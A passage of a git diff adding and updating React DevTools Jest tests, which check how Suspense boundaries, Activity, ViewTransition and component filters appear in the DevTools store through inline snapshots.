+          ▾ <WithSuspenseInFallback>
+            ▾ <Suspense name="head">
+              ▾ <Suspense name="head-fallback">
+                  <Component key="head-fallback-fallback">
+          ▾ <WithSuspenseInFallback>
+            ▾ <Suspense name="main">
+                <Component key="main-content">
+      [suspense-root]  rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:19,height:1}, {x:1,y:2,width:4,height:1}]}
+        <Suspense name="head" uniqueSuspenders={true} rects={[{x:1,y:2,width:4,height:1}]}>
+        <Suspense name="head-fallback" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}]}>
+        <Suspense name="main" uniqueSuspenders={true} rects={[{x:1,y:2,width:4,height:1}]}>
+    `);
+
+    await actAsync(() => render(null));
+
+    expect(store).toMatchInlineSnapshot(``);
+  });
+
+  it('should handle an empty root', async () => {
+    await actAsync(() => render(null));
+    expect(store).toMatchInlineSnapshot(``);
+
+    await actAsync(() => render(<span />));
+    expect(store).toMatchInlineSnapshot(`[root]`);
+  });
+
+  // @reactVersion >= 19.0
+  it('should reconcile promise-as-a-child', async () => {
+    function Component({children}) {
+      return <div>{children}</div>;
+    }
+
+    await actAsync(() =>
+      render(
+        <React.Suspense>
+          {Promise.resolve(<Component key="A">A</Component>)}
+        </React.Suspense>,
+      ),
+    );
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Suspense>
+            <Component key="A">
+      [suspense-root]  rects={[{x:1,y:2,width:1,height:1}]}
+        <Suspense name="Unknown" uniqueSuspenders={true} rects={[{x:1,y:2,width:1,height:1}]}>
+    `);
+
+    await actAsync(() =>
+      render(
+        <React.Suspense>
+          {Promise.resolve(<Component key="not-A">not A</Component>)}
+        </React.Suspense>,
+      ),
+    );
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Suspense>
+            <Component key="not-A">
+      [suspense-root]  rects={[{x:1,y:2,width:5,height:1}]}
+        <Suspense name="Unknown" uniqueSuspenders={true} rects={[{x:1,y:2,width:5,height:1}]}>
+    `);
+
+    await actAsync(() => render(null));
+    expect(store).toMatchInlineSnapshot(``);
+  });
+
+  // Can't suspend the root in React 17.
+  // @reactVersion >= 18.0
+  it('should track suspended-by in filtered fallback suspending the root', async () => {
+    function IgnoreMe({promise}) {
+      return readValue(promise);
+    }
+
+    function Component({promise}) {
+      return readValue(promise);
+    }
+
+    await actAsync(
+      async () =>
+        (store.componentFilters = [createDisplayNameFilter('^IgnoreMe', true)]),
+    );
+
+    let resolveFallback;
+    const fallbackPromise = new Promise(resolve => {
+      resolveFallback = resolve;
+    });
+    let resolveContent;
+    const contentPromise = new Promise(resolve => {
+      resolveContent = resolve;
+    });
+
+    await actAsync(() =>
+      render(
+        <React.Suspense
+          name="main"
+          fallback={<IgnoreMe promise={fallbackPromise} />}>
+          <Component promise={contentPromise} />
+        </React.Suspense>,
+      ),
+    );
+    expect(store).toMatchInlineSnapshot(``);
+
+    await actAsync(() => resolveFallback('loading'));
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+          <Suspense name="main">
+      [suspense-root]  rects={null}
+        <Suspense name="main" uniqueSuspenders={true} rects={null}>
+    `);
+
+    await actAsync(() => resolveContent('content'));
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Suspense name="main">
+            <Component>
+      [suspense-root]  rects={null}
+        <Suspense name="main" uniqueSuspenders={true} rects={null}>
+    `);
+  });
+
+  // @reactVersion >= 17.0
+  it('should track suspended-by in filtered fallback', async () => {
+    function IgnoreMe({promise}) {
+      return readValue(promise);
+    }
+
+    function Component({promise}) {
+      if (promise) {
+        return readValue(promise);
+      }
+      return null;
+    }
+
+    await actAsync(
+      async () =>
+        (store.componentFilters = [createDisplayNameFilter('^IgnoreMe', true)]),
+    );
+
+    let resolveFallback;
+    const fallbackPromise = new Promise(resolve => {
+      resolveFallback = resolve;
+    });
+    let resolveContent;
+    const contentPromise = new Promise(resolve => {
+      resolveContent = resolve;
+    });
+
+    await actAsync(() =>
+      render(
+        <React.Suspense
+          fallback={<Component key="root-fallback" />}
+          name="root">
+          <React.Suspense
+            name="main"
+            fallback={<IgnoreMe promise={fallbackPromise} />}>
+            <Component promise={contentPromise} />
+          </React.Suspense>
+        </React.Suspense>,
+      ),
+    );
+
+    if (semver.lt(ReactVersionTestingAgainst, '18.0.0')) {
+      // React 17 commits partial trees hidden which causes the "main"
+      // Suspense boundary to be included.
+      // React 18 and upwards excluded partial tree entirely.
+      expect(store).toMatchInlineSnapshot(`
+        [root]
+          ▾ <Suspense name="root">
+              <Component key="root-fallback">
+        [suspense-root]  rects={null}
+          <Suspense name="root" rects={null}>
+            <Suspense name="main" rects={null}>
+      `);
+    } else {
+      expect(store).toMatchInlineSnapshot(`
+        [root]
+          ▾ <Suspense name="root">
+              <Component key="root-fallback">
+        [suspense-root]  rects={null}
+          <Suspense name="root" uniqueSuspenders={true} rects={null}>
+      `);
+    }
+
+    await actAsync(() => resolveFallback('loading'));
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Suspense name="root">
+            <Suspense name="main">
+      [suspense-root]  rects={null}
+        <Suspense name="root" uniqueSuspenders={true} rects={null}>
+          <Suspense name="main" uniqueSuspenders={true} rects={null}>
+    `);
+
+    await actAsync(() => resolveContent('content'));
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Suspense name="root">
+          ▾ <Suspense name="main">
+              <Component>
+      [suspense-root]  rects={null}
+        <Suspense name="root" uniqueSuspenders={true} rects={null}>
+          <Suspense name="main" uniqueSuspenders={true} rects={null}>
+    `);
+  });
+
+  // @reactVersion >= 19
+  it('should keep suspended boundaries in the Suspense tree but not hidden Activity', async () => {
+    const Activity = React.Activity || React.unstable_Activity;
+
+    const never = new Promise(() => {});
+    function Never() {
+      readValue(never);
+      return null;
+    }
+    function Component({children}) {
+      return <div>{children}</div>;
+    }
+
+    function App({hidden}) {
+      return (
+        <>
+          <Activity mode={hidden ? 'hidden' : 'visible'}>
+            <React.Suspense name="inside-activity">
+              <Component key="inside-activity">inside Activity</Component>
+            </React.Suspense>
+          </Activity>
+          <React.Suspense name="outer-suspense">
+            <React.Suspense name="inner-suspense">
+              <Component key="inside-suspense">inside Suspense</Component>
+            </React.Suspense>
+            {hidden ? <Never /> : null}
+          </React.Suspense>
+        </>
+      );
+    }
+
+    await actAsync(() => {
+      render(<App hidden={true} />);
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▸ <Activity mode="hidden">
+            <Suspense name="outer-suspense">
+      [suspense-root]  rects={[{x:1,y:2,width:15,height:1}]}
+        <Suspense name="inside-activity" uniqueSuspenders={false} rects={[{x:1,y:2,width:15,height:1}]}>
+        <Suspense name="outer-suspense" uniqueSuspenders={true} rects={null}>
+    `);
+
+    // mount as visible
+    await actAsync(() => {
+      render(null);
+    });
+    await actAsync(() => {
+      render(<App hidden={false} />);
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <Activity mode="visible">
+            ▾ <Suspense name="inside-activity">
+                <Component key="inside-activity">
+          ▾ <Suspense name="outer-suspense">
+            ▾ <Suspense name="inner-suspense">
+                <Component key="inside-suspense">
+      [suspense-root]  rects={[{x:1,y:2,width:15,height:1}, {x:1,y:2,width:15,height:1}]}
+        <Suspense name="inside-activity" uniqueSuspenders={false} rects={[{x:1,y:2,width:15,height:1}]}>
+        <Suspense name="outer-suspense" uniqueSuspenders={false} rects={[{x:1,y:2,width:15,height:1}]}>
+          <Suspense name="inner-suspense" uniqueSuspenders={false} rects={[{x:1,y:2,width:15,height:1}]}>
+    `);
+
+    await actAsync(() => {
+      render(<App hidden={true} />);
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▸ <Activity mode="hidden">
+            <Suspense name="outer-suspense">
+      [suspense-root]  rects={[{x:1,y:2,width:15,height:1}, {x:1,y:2,width:15,height:1}]}
+        <Suspense name="inside-activity" uniqueSuspenders={false} rects={[{x:1,y:2,width:15,height:1}]}>
+        <Suspense name="outer-suspense" uniqueSuspenders={true} rects={[{x:1,y:2,width:15,height:1}]}>
+          <Suspense name="inner-suspense" uniqueSuspenders={false} rects={[{x:1,y:2,width:15,height:1}]}>
+    `);
+
+    await actAsync(() => {
+      render(<App hidden={false} />);
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <Activity mode="visible">
+            ▾ <Suspense name="inside-activity">
+                <Component key="inside-activity">
+          ▾ <Suspense name="outer-suspense">
+            ▾ <Suspense name="inner-suspense">
+                <Component key="inside-suspense">
+      [suspense-root]  rects={[{x:1,y:2,width:15,height:1}, {x:1,y:2,width:15,height:1}]}
+        <Suspense name="inside-activity" uniqueSuspenders={false} rects={[{x:1,y:2,width:15,height:1}]}>
+        <Suspense name="outer-suspense" uniqueSuspenders={true} rects={[{x:1,y:2,width:15,height:1}]}>
+          <Suspense name="inner-suspense" uniqueSuspenders={false} rects={[{x:1,y:2,width:15,height:1}]}>
+    `);
+  });
+
+  // @reactVersion >= 19.0
+  it('guesses a Suspense name based on the owner', async () => {
+    let resolve;
+    const promise = new Promise(_resolve => {
+      resolve = _resolve;
+    });
+    function Inner() {
+      return (
+        <React.Suspense fallback={<p>Loading inner</p>}>
+          <p>{promise}</p>
+        </React.Suspense>
+      );
+    }
+
+    function Outer({children}) {
+      return (
+        <React.Suspense fallback={<p>Loading outer</p>}>
+          <p>{promise}</p>
+          {children}
+        </React.Suspense>
+      );
+    }
+
+    await actAsync(() => {
+      render(
+        <Outer>
+          <Inner />
+        </Outer>,
+      );
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Outer>
+            <Suspense>
+      [suspense-root]  rects={[{x:1,y:2,width:13,height:1}]}
+        <Suspense name="Outer" uniqueSuspenders={true} rects={null}>
+    `);
+
+    await actAsync(() => {
+      resolve('loaded');
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Outer>
+          ▾ <Suspense>
+            ▾ <Inner>
+                <Suspense>
+      [suspense-root]  rects={[{x:1,y:2,width:6,height:1}, {x:1,y:2,width:6,height:1}]}
+        <Suspense name="Outer" uniqueSuspenders={true} rects={[{x:1,y:2,width:6,height:1}, {x:1,y:2,width:6,height:1}]}>
+          <Suspense name="Inner" uniqueSuspenders={false} rects={[{x:1,y:2,width:6,height:1}]}>
+    `);
+  });
+
+  // @reactVersion >= 19.0
+  it('measures rects when reconnecting', async () => {
+    function Component({children, promise}) {
+      let content = '';
+      if (promise) {
+        const value = readValue(promise);
+        if (typeof value === 'string') {
+          content += value;
+        }
+      }
+      return (
+        <div>
+          {content}
+          {children}
+        </div>
+      );
+    }
+
+    function App({outer, inner}) {
+      return (
+        <React.Suspense
+          name="outer"
+          fallback={<Component key="outer-fallback">loading outer</Component>}>
+          <Component key="outer-content" promise={outer}>
+            outer content
+          </Component>
+          <React.Suspense
+            name="inner"
+            fallback={
+              <Component key="inner-fallback">loading inner</Component>
+            }>
+            <Component key="inner-content" promise={inner}>
+              inner content
+            </Component>
+          </React.Suspense>
+        </React.Suspense>
+      );
+    }
+
+    await actAsync(() => {
+      render(<App outer={null} inner={null} />);
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <Suspense name="outer">
+              <Component key="outer-content">
+            ▾ <Suspense name="inner">
+                <Component key="inner-content">
+      [suspense-root]  rects={[{x:1,y:2,width:13,height:1}, {x:1,y:2,width:13,height:1}]}
+        <Suspense name="outer" uniqueSuspenders={false} rects={[{x:1,y:2,width:13,height:1}, {x:1,y:2,width:13,height:1}]}>
+          <Suspense name="inner" uniqueSuspenders={false} rects={[{x:1,y:2,width:13,height:1}]}>
+    `);
+
+    let outerResolve;
+    const outerPromise = new Promise(resolve => {
+      outerResolve = resolve;
+    });
+
+    let innerResolve;
+    const innerPromise = new Promise(resolve => {
+      innerResolve = resolve;
+    });
+    await actAsync(() => {
+      render(<App outer={outerPromise} inner={innerPromise} />);
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <Suspense name="outer">
+              <Component key="outer-fallback">
+      [suspense-root]  rects={[{x:1,y:2,width:13,height:1}, {x:1,y:2,width:13,height:1}, {x:1,y:2,width:13,height:1}]}
+        <Suspense name="outer" uniqueSuspenders={true} rects={[{x:1,y:2,width:13,height:1}, {x:1,y:2,width:13,height:1}]}>
+          <Suspense name="inner" uniqueSuspenders={false} rects={[{x:1,y:2,width:13,height:1}]}>
+    `);
+
+    await actAsync(() => {
+      outerResolve('..');
+      innerResolve('.');
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <Suspense name="outer">
+              <Component key="outer-content">
+            ▾ <Suspense name="inner">
+                <Component key="inner-content">
+      [suspense-root]  rects={[{x:1,y:2,width:15,height:1}, {x:1,y:2,width:14,height:1}]}
+        <Suspense name="outer" uniqueSuspenders={true} rects={[{x:1,y:2,width:15,height:1}, {x:1,y:2,width:14,height:1}]}>
+          <Suspense name="inner" uniqueSuspenders={true} rects={[{x:1,y:2,width:14,height:1}]}>
+    `);
+  });
+
+  // @reactVersion >= 19
+  it('can reconcile newly visible Activity with filtered, stable children', async () => {
+    const Activity = React.Activity || React.unstable_Activity;
+
+    function IgnoreMe({children}) {
+      return children;
+    }
+
+    function Component({children}) {
+      return <div>{children}</div>;
+    }
+
+    await actAsync(
+      async () =>
+        (store.componentFilters = [createDisplayNameFilter('^IgnoreMe', true)]),
+    );
+
+    const children = (
+      <IgnoreMe>
+        <Component key="left">Left</Component>
+      </IgnoreMe>
+    );
+
+    await actAsync(() => {
+      render(<Activity mode="hidden">{children}</Activity>);
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▸ <Activity mode="hidden">
+    `);
+
+    await actAsync(() => {
+      render(<Activity mode="visible">{children}</Activity>);
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Activity mode="visible">
+          ▾ <Component key="left">
+              <div>
+    `);
+  });
+
+  // @reactVersion >= 17.0
+  it('continues to consider Suspense boundary as blocking if some child still is suspended on removed io', async () => {
+    function Component({promise}) {
+      readValue(promise);
+      return null;
+    }
+
+    let resolve;
+    const promise = new Promise(_resolve => {
+      resolve = _resolve;
+    });
+
+    await actAsync(() => {
+      render(
+        <React.Suspense fallback={null} name="outer">
+          <Component key="one" promise={promise} />
+          <Component key="two" promise={promise} />
+          <React.Suspense fallback={null} name="inner">
+            <Component key="three" promise={promise} />
+          </React.Suspense>
+        </React.Suspense>,
+      );
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+          <Suspense name="outer">
+      [suspense-root]  rects={null}
+        <Suspense name="outer" uniqueSuspenders={true} rects={null}>
+    `);
+
+    await actAsync(() => {
+      resolve('Hello, World!');
     });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Suspense name="outer">
+            <Component key="one">
+            <Component key="two">
+          ▾ <Suspense name="inner">
+              <Component key="three">
+      [suspense-root]  rects={null}
+        <Suspense name="outer" uniqueSuspenders={true} rects={null}>
+          <Suspense name="inner" uniqueSuspenders={false} rects={null}>
+    `);
+
+    // We remove one suspender.
+    // The inner one shouldn't have unique suspenders because it's still blocked
+    // by the outer one.
+    await actAsync(() => {
+      render(
+        <React.Suspense fallback={null} name="outer">
+          <Component key="one" promise={promise} />
+          <React.Suspense fallback={null} name="inner">
+            <Component key="three" promise={promise} />
+          </React.Suspense>
+        </React.Suspense>,
+      );
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Suspense name="outer">
+            <Component key="one">
+          ▾ <Suspense name="inner">
+              <Component key="three">
+      [suspense-root]  rects={null}
+        <Suspense name="outer" uniqueSuspenders={true} rects={null}>
+          <Suspense name="inner" uniqueSuspenders={false} rects={null}>
+    `);
+
+    // Now we remove all unique suspenders of the outer Suspense boundary.
+    // The inner one is now independently revealed from the parent and should
+    // be marked as having unique suspenders.
+    // TODO: The outer boundary no longer has unique suspenders.
+    await actAsync(() => {
+      render(
+        <React.Suspense fallback={null} name="outer">
+          <React.Suspense fallback={null} name="inner">
+            <Component key="three" promise={promise} />
+          </React.Suspense>
+        </React.Suspense>,
+      );
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Suspense name="outer">
+          ▾ <Suspense name="inner">
+              <Component key="three">
+      [suspense-root]  rects={null}
+        <Suspense name="outer" uniqueSuspenders={true} rects={null}>
+          <Suspense name="inner" uniqueSuspenders={true} rects={null}>
+    `);
+  });
+
+  // @reactVersion >= 19
+  it('cleans up host hoistables', async () => {
+    function Left() {
+      return (
+        <style href="test.css" precedence="medium">
+          {'* {color:black}'}
+        </style>
+      );
+    }
+
+    function Right() {
+      return (
+        <style href="test.css" precedence="medium">
+          {'* {color:black}'}
+        </style>
+      );
+    }
+
+    await actAsync(() => {
+      render(
+        <>
+          <Left />
+          <Right />
+        </>,
+      );
+    });
+
+    // Ensure we're still testing deduplicated hoistables.
+    expect(document.head.querySelectorAll('style')).toHaveLength(1);
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+          <Left>
+          <Right>
+    `);
+    let style = document.head.querySelector('style');
+    let styleID = agent.getIDForHostInstance(style).id;
+    expect(store.containsElement(styleID)).toBe(true);
+
+    await actAsync(() => {
+      render(
+        <>
+          <Right />
+        </>,
+      );
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+          <Right>
+    `);
+    style = document.head.querySelector('style');
+    styleID = agent.getIDForHostInstance(style).id;
+    expect(store.containsElement(styleID)).toBe(true);
   });
 });
diff --git a/packages/react-devtools-shared/src/__tests__/storeComponentFilters-test.js b/packages/react-devtools-shared/src/__tests__/storeComponentFilters-test.js
index 432fb1771b6f..1ef17e4c5475 100644
--- a/packages/react-devtools-shared/src/__tests__/storeComponentFilters-test.js
+++ b/packages/react-devtools-shared/src/__tests__/storeComponentFilters-test.js
@@ -18,12 +18,24 @@ import {
 describe('Store component filters', () => {
   let React;
   let Types;
+  let agent;
   let bridge: FrontendBridge;
   let store: Store;
   let utils;
   let actAsync;
 
+  beforeAll(() => {
+    // JSDDOM doesn't implement getClientRects so we're just faking one for testing purposes
+    Element.prototype.getClientRects = function (this: Element) {
+      const textContent = this.textContent;
+      return [
+        new DOMRect(1, 2, textContent.length, textContent.split('\n').length),
+      ];
+    };
+  });
+
   beforeEach(() => {
+    agent = global.agent;
     bridge = global.bridge;
     store = global.store;
     store.collapseNodesByDefault = false;
@@ -134,7 +146,181 @@ describe('Store component filters', () => {
     `);
   });
 
-  // @reactVersion >= 16.0
+  // @reactVersion >= 16.6
+  it('should filter Suspense', async () => {
+    const Suspense = React.Suspense;
+    await actAsync(async () =>
+      render(
+        <React.Fragment>
+          <Suspense>
+            <div>Visible</div>
+          </Suspense>
+          <Suspense>
+            <div>Hidden</div>
+          </Suspense>
+        </React.Fragment>,
+      ),
+    );
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Suspense>
+            <div>
+        ▾ <Suspense>
+            <div>
+      [suspense-root]  rects={[{x:1,y:2,width:7,height:1}, {x:1,y:2,width:6,height:1}]}
+        <Suspense name="Unknown" uniqueSuspenders={false} rects={[{x:1,y:2,width:7,height:1}]}>
+        <Suspense name="Unknown" uniqueSuspenders={false} rects={[{x:1,y:2,width:6,height:1}]}>
+    `);
+
+    await actAsync(
+      async () =>
+        (store.componentFilters = [
+          utils.createElementTypeFilter(Types.ElementTypeActivity),
+        ]),
+    );
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Suspense>
+            <div>
+        ▾ <Suspense>
+            <div>
+      [suspense-root]  rects={[{x:1,y:2,width:7,height:1}, {x:1,y:2,width:6,height:1}]}
+        <Suspense name="Unknown" uniqueSuspenders={false} rects={[{x:1,y:2,width:7,height:1}]}>
+        <Suspense name="Unknown" uniqueSuspenders={false} rects={[{x:1,y:2,width:6,height:1}]}>
+    `);
+
+    await actAsync(
+      async () =>
+        (store.componentFilters = [
+          utils.createElementTypeFilter(Types.ElementTypeActivity, false),
+        ]),
+    );
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Suspense>
+            <div>
+        ▾ <Suspense>
+            <div>
+      [suspense-root]  rects={[{x:1,y:2,width:7,height:1}, {x:1,y:2,width:6,height:1}]}
+        <Suspense name="Unknown" uniqueSuspenders={false} rects={[{x:1,y:2,width:7,height:1}]}>
+        <Suspense name="Unknown" uniqueSuspenders={false} rects={[{x:1,y:2,width:6,height:1}]}>
+    `);
+  });
+
+  it('should filter Activity', async () => {
+    const Activity = React.Activity || React.unstable_Activity;
+
+    if (Activity != null) {
+      await actAsync(async () =>
+        render(
+          <React.Fragment>
+            <Activity mode="visible">
+              <div>Visible</div>
+            </Activity>
+            <Activity mode="hidden">
+              <div>Hidden</div>
+            </Activity>
+          </React.Fragment>,
+        ),
+      );
+
+      expect(store).toMatchInlineSnapshot(`
+        [root]
+          ▾ <Activity mode="visible">
+              <div>
+          ▸ <Activity mode="hidden">
+      `);
+
+      await actAsync(
+        async () =>
+          (store.componentFilters = [
+            utils.createElementTypeFilter(Types.ElementTypeActivity),
+          ]),
+      );
+
+      expect(store).toMatchInlineSnapshot(`
+        [root]
+            <div>
+            <div>
+      `);
+
+      await actAsync(
+        async () =>
+          (store.componentFilters = [
+            utils.createElementTypeFilter(Types.ElementTypeActivity, false),
+          ]),
+      );
+
+      expect(store).toMatchInlineSnapshot(`
+        [root]
+          ▾ <Activity mode="visible">
+              <div>
+          ▸ <Activity mode="hidden">
+      `);
+    }
+  });
+
+  it('should filter ViewTransition', async () => {
+    const ViewTransition =
+      React.ViewTransition || React.unstable_ViewTransition;
+
+    if (ViewTransition != null) {
+      await actAsync(async () =>
+        render(
+          <React.Fragment>
+            <ViewTransition>
+              <div>Visible</div>
+            </ViewTransition>
+            <ViewTransition>
+              <div>Hidden</div>
+            </ViewTransition>
+          </React.Fragment>,
+        ),
+      );
+
+      expect(store).toMatchInlineSnapshot(`
+              [root]
+                ▾ <ViewTransition>
+                    <div>
+                ▾ <ViewTransition>
+                    <div>
+          `);
+
+      await actAsync(
+        async () =>
+          (store.componentFilters = [
+            utils.createElementTypeFilter(Types.ElementTypeActivity),
+          ]),
+      );
+
+      expect(store).toMatchInlineSnapshot(`
+              [root]
+                ▾ <ViewTransition>
+                    <div>
+                ▾ <ViewTransition>
+                    <div>
+          `);
+
+      await actAsync(
+        async () =>
+          (store.componentFilters = [
+            utils.createElementTypeFilter(Types.ElementTypeActivity, false),
+          ]),
+      );
+
+      expect(store).toMatchInlineSnapshot(`
+              [root]
+                ▾ <ViewTransition>
+                    <div>
+                ▾ <ViewTransition>
+                    <div>
+          `);
+    }
+  });
+
   it('should ignore invalid ElementTypeRoot filter', async () => {
     const Component = () => <div>Hi</div>;
 
@@ -343,7 +529,11 @@ describe('Store component filters', () => {
 
     const Component = ({shouldSuspend}) => {
       if (shouldSuspend) {
-        throw promise;
+        if (React.use) {
+          React.use(promise);
+        } else {
+          throw promise;
+        }
       }
       return null;
     };
@@ -420,8 +610,8 @@ describe('Store component filters', () => {
       });
 
       expect(store).toMatchInlineSnapshot(``);
-      expect(store.errorCount).toBe(0);
-      expect(store.warningCount).toBe(0);
+      expect(store.componentWithErrorCount).toBe(0);
+      expect(store.componentWithWarningCount).toBe(0);
 
       await actAsync(async () => (store.componentFilters = []));
       expect(store).toMatchInlineSnapshot(`
@@ -460,8 +650,8 @@ describe('Store component filters', () => {
           ]),
       );
       expect(store).toMatchInlineSnapshot(`[root]`);
-      expect(store.errorCount).toBe(0);
-      expect(store.warningCount).toBe(0);
+      expect(store.componentWithErrorCount).toBe(0);
+      expect(store.componentWithWarningCount).toBe(0);
 
       await actAsync(async () => (store.componentFilters = []));
       expect(store).toMatchInlineSnapshot(`
@@ -510,8 +700,8 @@ describe('Store component filters', () => {
       });
 
       expect(store).toMatchInlineSnapshot(``);
-      expect(store.errorCount).toBe(0);
-      expect(store.warningCount).toBe(0);
+      expect(store.componentWithErrorCount).toBe(0);
+      expect(store.componentWithWarningCount).toBe(0);
 
       await actAsync(async () => (store.componentFilters = []));
       expect(store).toMatchInlineSnapshot(`
@@ -550,8 +740,8 @@ describe('Store component filters', () => {
           ]),
       );
       expect(store).toMatchInlineSnapshot(`[root]`);
-      expect(store.errorCount).toBe(0);
-      expect(store.warningCount).toBe(0);
+      expect(store.componentWithErrorCount).toBe(0);
+      expect(store.componentWithWarningCount).toBe(0);
 
       await actAsync(async () => (store.componentFilters = []));
       expect(store).toMatchInlineSnapshot(`
@@ -563,4 +753,180 @@ describe('Store component filters', () => {
       `);
     });
   });
+
+  // @reactVersion >= 18.0
+  it('resets forced error and fallback states when filters are changed', async () => {
+    store.componentFilters = [];
+    class ErrorBoundary extends React.Component {
+      state = {hasError: false};
+
+      static getDerivedStateFromError() {
+        return {hasError: true};
+      }
+
+      render() {
+        if (this.state.hasError) {
+          return <div key="did-error" />;
+        }
+        return this.props.children;
+      }
+    }
+
+    function App() {
+      return (
+        <>
+          <React.Suspense fallback={<div key="loading" />}>
+            <div key="suspense-content" />
+          </React.Suspense>
+          <ErrorBoundary>
+            <div key="error-content" />
+          </ErrorBoundary>
+        </>
+      );
+    }
+
+    await actAsync(async () => {
+      render(<App />);
+    });
+    const rendererID = utils.getRendererID();
+    await actAsync(() => {
+      agent.overrideSuspense({
+        id: store.getElementIDAtIndex(2),
+        rendererID,
+        forceFallback: true,
+      });
+      agent.overrideError({
+        id: store.getElementIDAtIndex(4),
+        rendererID,
+        forceError: true,
+      });
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <Suspense>
+              <div key="loading">
+          ▾ <ErrorBoundary>
+              <div key="did-error">
+      [suspense-root]  rects={[{x:1,y:2,width:0,height:1}, {x:1,y:2,width:0,height:1}, {x:1,y:2,width:0,height:1}]}
+        <Suspense name="App" uniqueSuspenders={false} rects={[{x:1,y:2,width:0,height:1}]}>
+    `);
+
+    await actAsync(() => {
+      store.componentFilters = [
+        utils.createElementTypeFilter(Types.ElementTypeFunction, true),
+      ];
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Suspense>
+            <div key="suspense-content">
+        ▾ <ErrorBoundary>
+            <div key="error-content">
+      [suspense-root]  rects={[{x:1,y:2,width:0,height:1}, {x:1,y:2,width:0,height:1}]}
+        <Suspense name="Unknown" uniqueSuspenders={false} rects={[{x:1,y:2,width:0,height:1}]}>
+    `);
+  });
+
+  // @reactVersion >= 19.2
+  it('can filter by Activity slices', async () => {
+    const Activity = React.Activity;
+    const immediate = Promise.resolve(<div>Immediate</div>);
+
+    function Root({children}) {
+      return (
+        <Activity name="/" mode="visible">
+          <React.Suspense fallback="Loading...">
+            <h1>Root</h1>
+            <main>{children}</main>
+          </React.Suspense>
+        </Activity>
+      );
+    }
+
+    function Layout({children}) {
+      return (
+        <Activity name="/blog" mode="visible">
+          <h2>Blog</h2>
+          <section>{children}</section>
+        </Activity>
+      );
+    }
+
+    function Page() {
+      return <React.Suspense fallback="Loading...">{immediate}</React.Suspense>;
+    }
+
+    await actAsync(async () =>
+      render(
+        <Root>
+          <Layout>
+            <Page />
+          </Layout>
+        </Root>,
+      ),
+    );
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Root>
+          ▾ <Activity name="/" mode="visible">
+            ▾ <Suspense>
+                <h1>
+              ▾ <main>
+                ▾ <Layout>
+                  ▾ <Activity name="/blog" mode="visible">
+                      <h2>
+                    ▾ <section>
+                      ▾ <Page>
+                        ▾ <Suspense>
+                            <div>
+      [suspense-root]  rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:13,height:1}]}
+        <Suspense name="Root" uniqueSuspenders={false} rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:13,height:1}]}>
+          <Suspense name="Page" uniqueSuspenders={true} rects={[{x:1,y:2,width:9,height:1}]}>
+    `);
+
+    await actAsync(
+      async () =>
+        (store.componentFilters = [
+          utils.createActivitySliceFilter(store.getElementIDAtIndex(1)),
+        ]),
+    );
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Activity name="/" mode="visible">
+          ▾ <Suspense>
+              <h1>
+            ▾ <main>
+              ▾ <Layout>
+                ▸ <Activity name="/blog" mode="visible">
+      [suspense-root]  rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:13,height:1}]}
+        <Suspense name="Unknown" uniqueSuspenders={false} rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:13,height:1}]}>
+          <Suspense name="Page" uniqueSuspenders={true} rects={[{x:1,y:2,width:9,height:1}]}>
+    `);
+
+    await actAsync(async () => (store.componentFilters = []));
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Root>
+          ▾ <Activity name="/" mode="visible">
+            ▾ <Suspense>
+                <h1>
+              ▾ <main>
+                ▾ <Layout>
+                  ▾ <Activity name="/blog" mode="visible">
+                      <h2>
+                    ▾ <section>
+                      ▾ <Page>
+                        ▾ <Suspense>
+                            <div>
+      [suspense-root]  rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:13,height:1}]}
+        <Suspense name="Root" uniqueSuspenders={false} rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:13,height:1}]}>
+          <Suspense name="Page" uniqueSuspenders={true} rects={[{x:1,y:2,width:9,height:1}]}>
+    `);
+  });
 });
